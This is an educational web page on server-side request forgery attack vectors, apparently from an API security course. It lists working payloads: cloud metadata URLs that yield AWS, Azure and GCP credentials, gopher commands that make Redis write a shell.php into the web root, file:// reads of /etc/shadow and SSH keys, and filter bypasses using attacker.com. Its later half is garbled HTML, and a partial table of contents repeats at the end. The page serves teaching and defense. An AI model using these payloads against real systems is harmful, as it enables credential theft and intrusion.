API07: Server Side Request Forgery - Attack Vectors

Understanding SSRF Attack Vectors
Common Attack Patterns
Cloud Metadata Exploitation
Internal Network Access
SSRF Bypass Techniques

Understanding SSRF Attack Vectors

> ⚠️ EDUCATIONAL PURPOSE ONLY

SSRF exploits occur when attackers can control URLs that servers fetch, allowing them to:

Access internal services not exposed to the internet
Read cloud metadata containing credentials
Scan internal networks
Access file systems
Bypass firewalls and access controls

Core Attack Flow



Discover URL Input

   ↓
   Find parameters accepting URLs (webhooks, imports, images)


Test for SSRF

   ↓
   Submit internal URLs (localhost, 169.254.169.254)
   

Exploit

   ↓
   Access metadata, internal services, files
   

Escalate

   ↓
   Use stolen credentials for further access



Common Attack Patterns

1. AWS Metadata Service Exploitation

Target: http://169.254.169.254/latest/meta-data/

Attack Flow:



Test basic access:

   http://169.254.169.254/latest/meta-data/


Enumerate IAM roles:

   http://169.254.169.254/latest/meta-data/iam/security-credentials/


Extract credentials:

   http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
   

Response contains:

AccessKeyId
SecretAccessKey
Token



Real Attack Example:

http
POST /api/import-data
{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

Response: ["ec2-role-name"]

POST /api/import-data
{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"
}

Response:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}



2. Azure Metadata Exploitation

Target: http://169.254.169.254/metadata/instance?api-version=2021-02-01

Required Header:

Metadata: true



Attack:

http
GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Response:
{
  "access_token": "eyJ0eXAi...",
  "expires_in": "3599",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"
}



3. GCP Metadata Exploitation

Target: http://metadata.google.internal/computeMetadata/v1/

Required Header:

Metadata-Flavor: Google



Attack Endpoints:


http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/instance/attributes/



4. Internal Service Scanning

Port Scanning:


http://192.168.1.1:22    (SSH)
http://192.168.1.1:3306  (MySQL)
http://192.168.1.1:6379  (Redis)
http://192.168.1.1:8080  (Jenkins)
http://192.168.1.1:9200  (Elasticsearch)



Service Enumeration:

Test common ports
Identify running services
Find admin interfaces
Locate databases


5. Redis Exploitation via SSRF

Attack:


http://localhost:6379/



Commands via URL:
Using gopher protocol:


gopher://localhost:6379/_SET%20admin%20true
gopher://localhost:6379/_CONFIG%20SET%20dir%20/var/www/html
gopher://localhost:6379/_CONFIG%20SET%20dbfilename%20shell.php
gopher://localhost:6379/_SET%20payload%20""
gopher://localhost:6379/_SAVE



6. File System Access

File Protocol:


file:///etc/passwd
file:///proc/self/environ
file:///var/www/html/config.php
file://C:/Windows/win.ini



Sensitive Files:

/etc/passwd, /etc/shadow

/proc/self/environ (environment variables)

~/.ssh/id_rsa (SSH keys)

/var/www/html/.env (application secrets)

C:/inetpub/wwwroot/web.config



7. Webhook Abuse

Attack:

http
POST /api/webhook/register
{
  "callback_url": "http://internal-admin:8080/api/delete-all-data"
}



Impact:

Trigger internal actions
CSRF on internal systems
Data manipulation
Service disruption


8. PDF/HTML Rendering SSRF

Attack:

http
POST /api/generate-pdf
{
  "html": ""
}



Also works with:

<code></li> <li></code><object><code></li> <li></code><embed><code></li> <li></code><link rel='stylesheet'><code></li> <li></code><script src=''><code></li> </ul> <h3>9. XML External Entity (XXE) to SSRF</h3> <strong>Attack</strong>: </code>`<code>xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> <p>]></p> <root> <data>&xxe;</data> </root> </code>`<code> <h3>10. DNS Rebinding Attack</h3> <strong>Technique</strong>: Change DNS resolution mid-request <strong>Attack Flow</strong>: <ol> <li>Create domain: attacker.com</li> <li>Initial DNS lookup: Returns 1.2.3.4 (public IP) - passes validation</li> <li>After validation, DNS changes to: 169.254.169.254</li> <li>Server fetches from metadata service</li> </ol> <h3>11. URL Redirect Chains</h3> <strong>Bypass IP blacklists</strong>: </code>`<code> <p>https://attacker.com/redirect</p> <p> ↓ (301 redirect)</p> <p>http://169.254.169.254/latest/meta-data/</p> </code>`<code> <strong>Server follows redirect without re-validating destination</strong> <h3>12. IP Address Obfuscation</h3> <strong>Bypass Techniques</strong>: </code>`<code> <p>Decimal: http://2852039166/ (169.254.169.254)</p> <p>Octal: http://0251.0376.0251.0376/</p> <p>Hex: http://0xa9.0xfe.0xa9.0xfe/</p> <p>Mixed: http://0xa9.254.169.254/</p> <p>Short: http://169.254.169.254 → http://169.254.43518</p> <p>IPv6: http://[::ffff:a9fe:a9fe]/</p> </code>`<code> <h3>13. CRLF Injection in URLs</h3> <strong>Inject headers</strong>: </code>`<code> <p>http://example.com%0d%0aHost:%20169.254.169.254%0d%0a</p> </code>`<code> <strong>Result</strong>: Override Host header to target metadata <h3>14. Time-Based Blind SSRF</h3> <strong>Detection when response not returned</strong>: </code>`<code>python <h1>Test if server can reach target</h1> <p>url1 = "http://169.254.169.254/" # Fast response if accessible</p> <p>url2 = "http://192.168.1.1:12345/" # Timeout if not accessible</p> <h1>Measure response time to detect accessibility</h1> </code>`<code> <h3>15. Cloud Storage Access</h3> <strong>AWS S3</strong>: </code>`<code> <p>http://s3.amazonaws.com/internal-bucket/secrets.txt</p> <p>http://internal-bucket.s3.amazonaws.com/config.json</p> </code>`<code> <strong>Azure Blob</strong>: </code>`<code> <p>http://storageaccount.blob.core.windows.net/container/secret.txt</p> </code>`<code> <h3>16. Service Account Token Theft</h3> <strong>Kubernetes</strong>: </code>`<code> <p>http://localhost:10255/metrics</p> <p>http://localhost:10255/pods</p> <p>file:///var/run/secrets/kubernetes.io/serviceaccount/token</p> </code>`<code> <strong>Docker</strong>: </code>`<code> <p>http://localhost:2375/containers/json</p> <p>http://localhost:2375/images/json</p> </code>`<code> <h3>17. LDAP/SMTP/FTP via SSRF</h3> <strong>LDAP Injection</strong>: </code>`<code> <p>ldap://localhost:389/dc=example,dc=com</p> </code>`<code> <strong>SMTP Enumeration</strong>: </code>`<code> <p>smtp://localhost:25/</p> </code>`<code> <strong>FTP Data Exfiltration</strong>: </code>`<code> <p>ftp://attacker.com:21/</p> </code>`<code> <h3>18. WebSocket SSRF</h3> <strong>Attack</strong>: </code>`<code>javascript <p>ws://internal-service:8080/websocket</p> </code>`<code> <h3>19. Localhost Variations</h3> <strong>Bypass localhost blocks</strong>: </code>`<code> <p>http://127.0.0.1/</p> <p>http://localhost/</p> <p>http://0.0.0.0/</p> <p>http://[::1]/</p> <p>http://[::]</p> <p>http://127.1/</p> <p>http://127.0.1/</p> <p>http://2130706433/ (decimal)</p> </code>`<code> <h3>20. Server-Side Include (SSI) SSRF</h3> <strong>Attack</strong>: </code>`<code>html  </code>`<code> <h2>SSRF Bypass Techniques</h2> <h3>URL Parser Confusion</h3> <strong>Exploit differences in URL parsing</strong>: </code>`<code> <p>http://attacker.com@169.254.169.254/</p> <p>http://169.254.169.254#@attacker.com/</p> <p>http://169.254.169.254%00.attacker.com/</p> </code>`<code> <h3>Protocol Smuggling</h3> <strong>Mix protocols</strong>: </code>`<code> <p>http://localhost:11211/set%20test%200%200%205%0d%0aABCDE (Memcached)</p> <p>dict://localhost:6379/INFO (Redis)</p> <p>gopher://localhost:3306/... (MySQL)</p> </code>`<code> <h3>Charset Encoding</h3> <strong>Unicode characters</strong>: </code>`<code> <p>http://169.254.169.254/ (normal)</p> <p>http://①⑥⑨.②⑤④.①⑥⑨.②⑤④/ (unicode)</p> </code>`<code> <h2>Cloud Provider-Specific Attacks</h2> <h3>AWS</h3> <strong>IMDSv1 (easy to exploit)</strong>: </code>`<code> <p>http://169.254.169.254/latest/meta-data/</p> </code>`<code> <strong>IMDSv2 (requires token)</strong>: </code>`<code> <ol> <li>Get token:</li> </ol> <p> PUT http://169.254.169.254/latest/api/token</p> <p> X-aws-ec2-metadata-token-ttl-seconds: 21600</p> <ol> <li>Use token:</li> </ol> <p> GET http://169.254.169.254/latest/meta-data/</p> <p> X-aws-ec2-metadata-token: [TOKEN]</p> </code>`<code> <h3>Azure</h3> <strong>Requires Metadata header</strong>: </code>`<code> <p>GET http://169.254.169.254/metadata/instance?api-version=2021-02-01</p> <p>Metadata: true</p> </code>`<code> <strong>Bypass</strong>: Some vulnerable apps copy headers from user requests <h3>GCP</h3> <strong>Requires Metadata-Flavor header</strong>: </code>`<code> <p>GET http://metadata.google.internal/computeMetadata/v1/</p> <p>Metadata-Flavor: Google</p> </code>`` <h2>Key Takeaways</h2> <ol> <li><strong>SSRF allows server-side requests to anywhere</strong> attacker specifies</li> <li><strong>Cloud metadata is #1 target</strong> - contains powerful credentials</li> <li><strong>Many bypass techniques exist</strong> - simple blacklists insufficient</li> <li><strong>Protocol diversity</strong> - not just HTTP (gopher, file, dict, etc.)</li> <li><strong>Chain with other vulns</strong> - XXE, open redirects, CRLF injection</li> <li><strong>Time-based detection</strong> - even without visible response</li> <li><strong>Internal network access</strong> - bypass firewalls and network segmentation</li> </ol> <h2>Next Steps</h2> <ul> <li><strong><a href="prevention.html">Prevention Guide</a></strong>: Learn comprehensive SSRF defenses</li> <li><strong><a href="examples.html">Code Examples</a></strong>: See secure implementations</li> <li><strong><a href="lab/api07-ssrf-lab/">Hands-On Lab</a></strong>: Practice SSRF exploitation and prevention</li> </ul> </div> </div> </body> </html>

API07: Server Side Request Forgery - Attack Vectors

Table of Contents

Understanding SSRF Attack Vectors

Core Attack Flow

Common Attack Patterns

1. AWS Metadata Service Exploitation

2. Azure Metadata Exploitation

3. GCP Metadata Exploitation

4. Internal Service Scanning

5. Redis Exploitation via SSRF

6. File System Access

7. Webhook Abuse

8. PDF/HTML Rendering SSRF